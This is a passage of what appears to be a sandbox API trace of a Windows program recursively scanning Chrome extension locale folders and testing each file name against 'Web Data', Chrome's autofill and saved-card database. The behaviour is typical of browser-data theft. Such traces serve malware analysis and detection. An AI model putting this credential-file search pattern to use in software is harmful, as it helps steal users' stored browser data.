lpFindFileData=0x21f0d0) returned 1 [0056.210] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0056.210] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0056.210] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.210] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.210] lstrlenA (lpString="\\") returned 1 [0056.210] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.210] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.210] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.210] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.210] lstrlenA (lpString="et") returned 2 [0056.210] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.210] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.210] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et" [0056.210] LocalFree (hMem=0x2daca0) returned 0x0 [0056.210] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et") returned 132 [0056.210] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et") returned 132 [0056.210] lstrlenA (lpString="\\*.*") returned 4 [0056.210] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.210] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et" [0056.210] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*" [0056.210] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.210] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.210] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.210] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.210] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.210] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.210] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.210] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.210] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.211] LocalFree (hMem=0x2daec0) returned 0x0 [0056.211] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.211] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.211] lstrcmpiA (lpString1=".", lpString2="eu") returned -1 [0056.211] lstrcmpiA (lpString1="..", lpString2="eu") returned -1 [0056.211] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.211] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.211] lstrlenA (lpString="\\") returned 1 [0056.211] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.211] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.211] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.211] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.211] lstrlenA (lpString="eu") returned 2 [0056.211] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.211] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.211] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="eu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu" [0056.211] LocalFree (hMem=0x2daca0) returned 0x0 [0056.211] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu") returned 132 [0056.211] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu") returned 132 [0056.211] lstrlenA (lpString="\\*.*") returned 4 [0056.211] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.211] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu" [0056.211] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*" [0056.211] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.211] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.211] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.211] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.211] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.211] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.211] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.211] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.211] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.211] LocalFree (hMem=0x2daec0) returned 0x0 [0056.211] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.211] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.211] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.211] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.211] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.211] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.211] lstrlenA (lpString="\\") returned 1 [0056.211] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.211] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.211] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.211] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.211] lstrlenA (lpString="fi") returned 2 [0056.211] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.211] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.211] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi" [0056.212] LocalFree (hMem=0x2daca0) returned 0x0 [0056.212] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi") returned 132 [0056.212] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi") returned 132 [0056.212] lstrlenA (lpString="\\*.*") returned 4 [0056.212] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.212] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi" [0056.212] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*" [0056.212] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.212] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.212] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.212] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.212] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.212] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.212] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.212] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.212] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.212] LocalFree (hMem=0x2daec0) returned 0x0 [0056.212] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.212] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.212] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.212] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.212] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.212] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.212] lstrlenA (lpString="\\") returned 1 [0056.212] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.212] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.212] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.212] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.212] lstrlenA (lpString="fil") returned 3 [0056.212] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.212] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.212] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil" [0056.212] LocalFree (hMem=0x2daca0) returned 0x0 [0056.212] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil") returned 133 [0056.212] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil") returned 133 [0056.212] lstrlenA (lpString="\\*.*") returned 4 [0056.212] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.212] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil" [0056.212] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*" [0056.212] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.213] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.213] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.213] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.213] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.213] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.213] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.213] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.213] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.213] LocalFree (hMem=0x2daec0) returned 0x0 [0056.213] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.213] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.213] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.213] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.213] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.213] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.213] lstrlenA (lpString="\\") returned 1 [0056.213] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.213] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.213] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 